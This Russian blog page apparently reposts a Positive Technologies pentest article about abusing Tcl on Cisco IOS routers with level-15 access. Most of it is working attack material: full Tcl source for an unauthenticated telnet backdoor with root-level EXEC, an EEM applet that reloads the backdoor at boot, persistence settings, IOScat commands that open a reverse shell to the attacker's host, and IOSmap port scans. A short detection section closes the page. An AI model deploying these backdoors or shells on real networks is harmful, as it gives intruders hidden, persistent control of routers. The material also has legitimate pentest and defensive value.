| RSS



Меню

Bookmark and Share


Календарь
«  Декабрь 2010  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728293031

Статистика
Ваш IP: 18.225.92.25
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 php libc rand() эксплоит Windows Server 2008 FreeBSD Jail Elastix QIP Virtual chroot Limit kernel proc sysctl Tune freeBSD bridge Boot LiveCD Disk Bluetooth GEO game DirectX emulator Python Shell червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных Закон Франция Пират Skype мобильный Deutsche Telekom хакер trend micro кибератака Германия робот Персональные данные Ноутбук Интернет китай цензура windows vista acer Linux патент браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM США Dell Ford MAC контроль Internet кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 взлом Пентагон Украина Facebook Cisco Cloud Windows XP нетбук торрент музыка Биометрический Nokia Hardware Manager ФБР IP-адрес sms RSA java Google Captcha Symantec Спам Антивирус тест Anti-Malware Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети ipod копирайт McAfee HTTPS icann студент Норвегия New York Times YouTube Warner Music КНДР Ubuntu AMD ATI касперский Россия РФ сервер хостинг Wi-Fi суд пароль блог фишинг одноклассники Медведев контрафакт мошенник sony Gps по JavaScript Хакеры Yahoo фас компьютер софт Минкомсвязи Сбой мошенничество Доктор ВЕб Вконтакте ie8 исходный код МВД фильтр порнография свобода слова казахстан Autodesk сисадмин Gmail кредитная карта LiveJournal шифрование Deep Purple банк HTML5 Нанотехнологии wikipedia выборы DNS bind KaZaA Android Basic атака Mac OS X домен ФСБ прокуратура уголовное дело ICQ Sophos Google Voice ошибка DARPA военные сайт турция конференция спамер Полиция Koobface Великобритания IRC белоруссия Грузия Bittorrent Европа Dr.WEB Linux Mint Билл Гейтс спецслужбы Royal Bank of Scotland смартфон Canonical F-Secure Symbian фильм Microsoft Office Новая Зеландия Adobe Австралия IDC Internet Explorer 9 iPad Ирландия поиск GOOGLE EARTH МТС Реклама слежка Mandriva BSD Zeus личные данные eset avast Avira G Data Software защита Defcon виртуализация dll LibreOffice Черный список BlackBerry индия Москва DVD социальные сети flash player paypal BitDefender email сертификат honda MasterCard Anonymous технологии IPv6 Ассанж Оптоволокно передача данных арест Fedora Samsung Иск Apache учетная запись iTunes исследование Cert Санкт-Петербург McDonald's SOPA PIPA Bioshock Infinite: Burial at Sea - ico Megaupload CES hotfile отчет приложение Инвестиции платформа DRM DDoS-атака роскомнадзор

Главная » 2010 » Декабрь » 2 » Positive Technologies
15:43
Positive Technologies
Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются маршрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак c применением функционала Tcl. Несколько методов проведения таких атак я опишу в этой статье.
Введение

Tcl (Tool Command Language, http://www.tcl.tk) – скриптовый язык, часто применяемый с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты до сих пор продолжает повсеместно использоваться как встроенный в различные приложения (вспомним хотя бы программы expect или irc-ботов eggdrop, использование его как модуля к серверной части apache mod_tcl). В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T

http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения “пользовательских” сценариев. Как наиболее известный пример можно упомянуть использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для выполнения следующих действий:
разработка собственного варианта “бэкдора” с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
использование маршрутизатора для проведения сканирования портов в различных сегментах сети;
использование маршрутизатора для проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
разработка вариантов сценариев для перебора паролей (брутфорса) различных устройств и серверов в сети.

Данными методами также может воспользоваться злоумышленник, получив доступ к TFTP-серверу компании, где размещены существующие сценарии, и принудительно заменив существующий сценарий на собственный. В этом случае произойдет его загрузка и запуск на маршрутизаторе.

Рис. 1 Атака подменой Tcl-сценария

Давайте попробуем понять, как это можно реализовать с использованием удаленного шелла, который возможно использовать без явной аутентификации, с использованием входа на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях «Рускрипто CTF 2010» - http://www.ruscrypto.org/.

В первую очередь давайте разберем, как работает Tcl на устройствах под управлеием IOS.
Загрузка и исполнение TCL-сценария
Для первичной загрузки Tcl-сценариев необходимо иметь привилегированный доступ не ниже уровня 15 (enable).
Tcl-сценарий необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP.
Загрузку и выполнение сценарий можно выполнять как напрямую в RAM-память маршрутизатора, так и во FLASH-память c последующим его запуском с файловой системы IOS.

Загрузка сценария во FLASH и последующее его выполнение:
Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl

Загрузка сценария непосредственно с TFTP-сервера:
Router# tclsh tftp://192.168.1.4/script.tcl

Ниже приведен пример Tcl-сценария, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка сценария выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
proc callback {sock addr port} {
fconfigure $sock -translation crlf -buffering line
puts $sock "Cisco router admin console:"
puts $sock " "
puts -nonewline $sock "Router# "
flush $sock
fileevent $sock readable [list echo $sock]
}

proc echo {sock} {
global var

flush $sock

if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}

catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}

puts -nonewline $sock "Router# "
flush $sock
}

set port 2002
set sh [socket -server callback $port]
vwait var
close $sh

После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему (режим EXEC) без использования учетных записей и выполнять любые команды с использованием привилегий суперпользователя (level 15):
[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.

Cisco router admin console:

Router#

Рис. 2 Пример загрузки сценария–бэкдора

Хотел рассказать о некоторых ограничениях при работе с Tcl на устройствах под управлением IOS, которые необходимо учитывать. В первых версиях IOS, включавших поддержку Tcl, сценарий продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу сценария при обрыве линии или по команде clear line. Данный “патч-фикс” производителя можно обойти несколькими способами:
На линиях (console 0 или vty 0 4), с которых запускается сценарий, применить команду exec-timeout 0 0, в противном случае по завершении сессии сценарий прекратит свою работу.
Router>en
Router#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0

Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. В примере ниже показана конфигурация, которая загружает сценарий с TFTP через 20 секунд после запуска маршрутизатора.
Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

Конвертировать Tcl-сценарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.
Готовые утилиты

В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в
IOScat, которые позволяют осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами.
С помощью встроенного языка Tcl можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив сценарий Tcl в flash маршрутизатора или используя TFTP-сервер напрямую в RAM. Методика загрузки и установки Tcl на маршрутизатор описана выше.

Примеры реализации:

Организация бэкдора на маршрутизаторе (2002 порт)
Router# tclshtftp://192.168.1.4/ioscat.tcl -ip2002 –oe

Рис. 3 Организация бэкдора на маршрутизаторе

Организация реверсного шелла на адрес атакующего (порт 12345)
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

(на вашей машине, приемником шелла пойдет обычный netcat, >nc -l -p 12345)

Рис. 4 Организация реверсного шелла на адрес атакующего

Проброс удаленного порта на локальный порт маршрутизатора (2002)
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80

Рис. 5 Проброс удаленного порта на локальный порт маршрутизатора

Для данного сценария есть много других примеров, например, копирование файлов с использованием сокетов, имитация Telnet-сессии на удаленном хосте, а также много других функций, о которых можно узнать на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, с урезанным функционалом, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого Tcl-сценария позволяет производить сканирование диапазонов IP-адресов на открытых tcp/udp-портах, в том числе используя метод инвентаризации хостов посредством протокола icmp.
Рассмотрим примеры использования:
Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]

Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]

Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

Host 192.168.1.1 is unavailable

Host 192.168.1.2 is unavailable

Host 192.168.1.3 is unavailable

Interesting ports on host 192.168.1.4
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
80/tcp open http
443/tcp closed https

Host 192.168.1.5 is unavailable

Router#

Изменить варианты сканирования сценария можно путем добавления следующих аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов, методом TCP connect;
-sU – UDP-портов, через функционал IP SLA.

Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных в использовании приложений для дальнейшей их реализации в сетевой среде на оборудовании Cisco Systems.
Методы обнаружения

Имея возможность запускать сценарии, также интересно иметь возможность отследить их исполнение; сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе с помощью следующих команд маршрутизатора:
Router#show processes cpu | i Tcl
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

Router#show tcp brief all
TCB Local Address Foreign Address (state)
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
654485B4 *.2002 *.* LISTEN
65CA2D04 *.80 *.* LISTEN

Начиная с версии IOS 12.4(4)Т, появилась возможность использования CPP (Control Plane Policy):
Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot Local Address Foreign Address Service State
tcp *:23 *:0 Telnet LISTEN
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
tcp *:80 *:0 HTTP CORE LISTEN
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN

Также можно использовать и автоматизированные средства, например, систему контроля защищенности и соответствия стандартам MaxPatrol (http://www.ptsecurity.ru).

Рис. 6 Система контроля защищенности и соответствия стандартам MaxPatrol

Категория: | Просмотров: 2064 | Добавил: MariSHka | Теги: | Рейтинг: 0.0/0
Всего комментариев: 0
Главная
...
На службе : дней

04:51
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск

Архив записей


Copyright tHR - TeAM 2025 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика